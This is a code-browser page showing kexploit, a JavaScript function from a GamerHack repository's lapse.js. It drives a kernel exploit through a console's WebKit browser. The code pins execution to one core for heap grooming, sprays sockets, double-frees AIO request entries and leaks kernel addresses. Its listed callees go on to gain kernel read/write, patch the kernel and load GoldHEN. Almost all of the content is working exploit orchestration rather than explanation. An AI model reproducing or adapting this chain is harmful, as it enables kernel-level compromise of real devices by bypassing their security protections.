MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / kexploit

Function kexploit

g2all/900/lapse.js:1686–1773  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1684//
1685// the exploit implementation also assumes that we are pinned to one core
1686export async function kexploit() {
1687 const _init_t1 = performance.now();
1688 await init();
1689 const _init_t2 = performance.now();
1690
1691 try {
1692 chain.sys('setuid', 0);
1693 } catch (e) {
1694 localStorage.ExploitLoaded = "no";
1695 }
1696
1697 if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") {
1698 msgs.innerHTML = "GoldHEN is Already Loaded ...";
1699 return new Promise(() => {});
1700 }
1701
1702 // fun fact:
1703 // if the first thing you do since boot is run the web browser, WebKit can
1704 // use all the cores
1705 const main_mask = new Long();
1706 get_our_affinity(main_mask);
1707 log(`main_mask: ${main_mask}`);
1708
1709 // pin to 1 core so that we only use 1 per-cpu bucket. this will make heap
1710 // spraying and grooming easier
1711 log(`pinning process to core #${main_core}`);
1712 set_our_affinity(new Long(1 << main_core));
1713 get_our_affinity(main_mask);
1714 log(`main_mask: ${main_mask}`);
1715
1716 log("setting main thread's priority");
1717 sysi('rtprio_thread', RTP_SET, 0, rtprio.addr);
1718
1719 const [block_fd, unblock_fd] = (() => {
1720 const unix_pair = new View4(2);
1721 sysi('socketpair', AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
1722 return unix_pair;
1723 })();
1724
1725 const sds = [];
1726 for (let i = 0; i < num_sds; i++) {
1727 sds.push(new_socket());
1728 }
1729
1730 let block_id = null;
1731 let groom_ids = null;
1732
1733 try {
1734 log('STAGE: Setup');
1735 [block_id, groom_ids] = setup(block_fd);
1736
1737 log('\nSTAGE: Double free AIO queue entry');
1738 const sd_pair = double_free_reqs2(sds);
1739
1740 log('\nSTAGE: Leak kernel addresses');
1741 const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf,] = leak_kernel_addrs(sd_pair);
1742
1743 log('\nSTAGE: Double free SceKernelAioRWRequest');

Callers 1

lapse.jsFile · 0.70

Calls 15

logFunction · 0.90
get_our_affinityFunction · 0.85
set_our_affinityFunction · 0.85
initFunction · 0.70
sysiFunction · 0.70
new_socketFunction · 0.70
setupFunction · 0.70
double_free_reqs2Function · 0.70
leak_kernel_addrsFunction · 0.70
double_free_reqs1Function · 0.70
make_kernel_arwFunction · 0.70
patch_kernelFunction · 0.70

Tested by

no test coverage detected